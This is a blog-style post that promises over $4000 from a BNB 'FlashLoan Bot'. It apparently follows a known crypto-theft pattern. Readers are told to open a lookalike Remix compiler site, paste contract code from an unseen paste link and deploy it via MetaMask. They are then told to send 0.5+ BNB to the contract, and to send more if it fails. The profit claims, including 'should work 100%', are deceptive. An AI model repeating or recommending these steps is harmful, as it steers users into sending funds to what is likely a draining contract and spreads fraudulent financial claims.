Mastering BNB Arbitrage: How I Made Over $4000 using the FlashLoan Bot in 2024


CryptoCompass2024/01/03 12:16
Follow

Dive headfirst into the exhilarating world of BNB arbitrage, where financial alchemy meets cutting-edge technology, as I unveil the secrets behind making over $4000 using the FlashLoan Bot in 2024. Brace yourself for a journey through the fast-paced realm of cryptocurrency, where strategic moves and algorithmic precision pave the way to unparalleled profits. In this exclusive account, I share the roadmap to mastering BNB arbitrage, offering insights into how the FlashLoan Bot became my digital accomplice in the pursuit of financial glory. Join me as I unravel the narrative of turning market differentials into a lucrative reality, proving that in the realm of crypto, mastering arbitrage isn’t just a skill — it’s a pathway to substantial wealth. Get ready to ride the waves of opportunity and witness firsthand the art of financial triumph through BNB arbitrage mastery!

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

Step By Step Tutorial for Flash Loan:

- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click “Create New File “.

- Name the file flashloans.sol and paste the contract code link below. ► https://wtools.io/paste-code/bS9D

- Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

- Connect your MetaMask wallet.

- Click on the “Solidity Compiler” and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
On “_TOKENNAME” Tester
On “_TOKENSYMBOL” TOKX
On “_LOANAMOUNT” 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.
Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.5+ (0.5 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click “action” (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesn’t work with 0.3 BNB try to send another 0.3 BNB (0.5+ is better), because fees may be different from day to day. (3.0+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.3 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.

Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you’re done.

Share - Mastering BNB Arbitrage: How I Made Over $4000 using the FlashLoan Bot in 2024

Support this user by sending bitcoin - Learn more

Follow

0 comments

Be the first to comment!

This post is waiting for your feedback.
Share your thoughts and join the conversation.